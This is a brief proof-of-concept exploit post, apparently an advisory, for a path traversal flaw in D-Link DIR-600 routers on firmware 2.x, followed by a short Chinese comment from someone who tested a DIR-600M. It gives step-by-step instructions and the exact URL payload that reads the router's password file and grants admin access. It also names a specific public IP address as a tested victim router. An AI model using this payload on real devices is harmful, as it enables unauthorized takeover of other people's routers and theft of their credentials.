1) Description
After Successfully Connected to D-Link DIR-600
Router(FirmWare Version : 2.01), Any User Can Easily Bypass The Router's
Admin Panel Just by adding a simple payload into URL.
D-Link DIR-600 Rev Bx devices with v2.x firmware allow remote attackers to
read passwords via a model/__show_info.php?REQUIRE_FILE= absolute path traversal attack,
as demonstrated by discovering the admin password.
Its More Dangerous when your Router has a public IP with remote login
enabled.
IN MY CASE,
Tested Router IP : http://190.164.170.249
Video POC : https://www.youtube.com/watch?v=PeNOJORAQsQ
2) Proof of Concept
Step 1: Go to
Router Login Page : http://190.164.170.249:8080
Step 2:
Add the payload to URL.
Payload: model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd
Bingooo You got admin Access on router.
Now you can download/upload settiing, Change setting etc.
google随便找了一个，好像影响不止dir-600。
因为我有一台dir-600m的这种路由器，所以拿来测了测，600m不受影响，也可能是因为我升级过系统版本。
